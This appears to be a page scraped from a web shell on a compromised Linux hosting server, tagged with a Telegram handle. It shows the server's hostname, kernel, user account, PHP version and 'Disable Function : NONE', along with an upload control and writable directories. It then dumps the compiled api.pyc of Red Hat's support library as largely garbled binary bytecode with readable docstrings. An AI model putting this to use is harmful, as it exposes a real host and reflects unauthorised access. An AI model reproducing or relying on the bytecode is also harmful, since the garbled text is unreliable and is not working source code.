https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/redhat_support_lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/redhat_support_lib/api.pyc
�
f�Tc@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddl	mZddl	mZdd	l	m
Z
dd
l	mZddl	mZddl	mZdd
l	mZddl	mZddl	mZddl	mZddl	mZddl	mZddlmZddljjZddlmZddljZddl Z dZ!dZ"dejZ#e j$d�Z%de&fd��YZ'dS(sK
The main interface through which you should interact with the Strata API.
i����(tcontextmanager(tConnectionsPool(tProxy(tMode(t	solutions(tarticles(tcases(tgroups(tcomments(tattachments(tproblems(tentitlements(tproducts(tvalues(t
InstanceMaker(tsymptoms(tsearch(treporthelperN(treports%Keith Robertson <kroberts@redhat.com>s%(levelname)s: %(message)ssredhat-support-lib-%ss'redhat_support_lib.infrastructure.proxytAPIcBsqeZdddddddddddddedd�Zd�Zedejdd��Z	ed��Z
RS(	shttps://api.access.redhat.comsdropbox.redhat.comis	/incomingcCsfttj�j�dkr1tjdtj�nt}tj�j�tjkr[t	}nd|_|rzi|d6}n
itd6}t
j�}||_||_||_||_||_||_||_||_|	|_|
|_||_||_|
|_||_||_||_||_||_ t!j"dt#t$d|jd|jd|jd|jd	|jd
|jd|jd|jd
|jd|jd|jd|j �|j�t%j&�t'�|_'t(�|_(t)�|_)t*�|_*t+�|_+t,�|_,t-�|_-t.�|_.t/�|_/t0�|_0t1�|_1t2�|_2t3�|_4dS(s�
        Initialize an instance of the Red Hat Support Library

        :param username: User name for Red Hat Customer Portal
        :type username: string
        :param password: Password for Red Hat Customer Portal
        :type password: string
        :param url:
            Strata REST URL (by default this is https://api.access.redhat.com)

        :type url: string
        :param key_file:
            SSL key location for SSL authentication (not implemented)

        :type key_file: string
        :param cert_file:
            SSL certificate location for SSL authentication (not implemented)

        :type cert_file: string
        :param proxy_url: URL for HTTP/HTTPS proxy server (optional)
        :type proxy_url: string
        :param proxy_user: User name for HTTP/HTTPS proxy server (optional)
        :type proxy_user: string
        :param proxy_pass: Password for HTTP/HTTPS proxy server (optional)
        :type proxy_pass: string
        :param timeout: Request timeout (optional)
        :type timeout: string
        :param userAgent: User agent to set for API communications (optional)
        :type userAgent: string
        :param no_verify_ssl: If True, don't verify server identity (optional)
        :type no_verify_ssl: boolean
        :param ssl_ca: Path to an alternative certificate authority to trust
        :type ssl_ca: string/filepath
        :returns: Strata API object
        itlevels
User-Agenttproxyturltkey_filet	cert_filettimeouttusernametpasswordt	proxy_urlt
proxy_usert
proxy_passtdebugtnoverifytssl_caN(5tlentloggingt	getLoggerthandlerstbasicConfigtCRITICALtFalsetgetEffectiveLeveltDEBUGtTruetNonet_uat
USER_AGENTtconfighelpertget_config_helperRRRRRRRRtftp_hosttftp_porttftp_usertftp_passtftp_dirRt	userAgentt
http_debugt
no_verify_sslR!RtaddRRRtRRRRRRR	R
RRRR
RRtim(tselfRRRRRRRRR1R2R3R4R5RR6R8R!t	httpdebugtuatconfig((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pyt__init__5sp8		
																															
cCstjddt�dS(s  terminates server connection/s RtforceN(Rt_removeR+(R<((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pyt
disconnect�scCstj||||�S(sk
        A Report file is made from a path which can either be a single file or
        a directory.  The name and content params allow for customer name/value
        entry into xml.  Typical use is to only use the path name.

        :param path: the file or folder from which a report should be made
        :type path: string
        :param custom:
            A dictionary of bindings.  Key will be name and value will
            binding's value.

        :type custom: dict
        :param max_file_size:
            The max size (in bytes) of a file which should be included in
            content.xml.

        :type max_file_size: int
        :param report_dir:
            Path to save the generated report to, a subdirectory will be
            created by :func:`tempfile.mkdtemp`.  This value will be /tmp
            by default.

        :type report_dir: string

        Example:

            .. code-block:: python

                api.make_report("/var/spool/abrt/ccpp-2013-03-15-15:26:39-2202")

        :returns:
            The path to an XML file or a TGZ depending on the size of 'path'

        :rtype: string(Rtmake_report(tclstpathtcustomt
max_file_sizet
report_dir((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pyRD�s(	cCstj|t�S(sj
        A utility function which returns a redhat_support_lib.xml.report object
        given a report file's content.xml.  The report object can then be
        inspected to see what was in the content.xml.

        :param path: A path to a report file's content.xml
        :type path: string

        :returns: A redhat_support_lib.xml.report object
        (RtparseR((RERF((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pytprocess_report_file�s
N(t__name__t
__module__R,R(R@RCtclassmethodRtMAX_FILE_SIZE_BYTESRDRK(((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pyR4s*e	(((t__doc__t!redhat_support_lib.infrastructureRt1redhat_support_lib.infrastructure.connectionspoolRt'redhat_support_lib.infrastructure.proxyRt0redhat_support_lib.infrastructure.contextmanagerRt)redhat_support_lib.infrastructure.brokersRRRRRR	R
RRR
RRRtredhat_support_lib.utilsRt%redhat_support_lib.utils.confighelpertutilsR/tredhat_support_lib.xmlRtredhat_support_lib.versiontversionR#t
__author__tSTREAM_LOG_FORMATR.R$tloggertobjectR(((s:/usr/lib/python2.7/site-packages/redhat_support_lib/api.pyt<module>s6


https://t.me/AnonymousX5 - 2025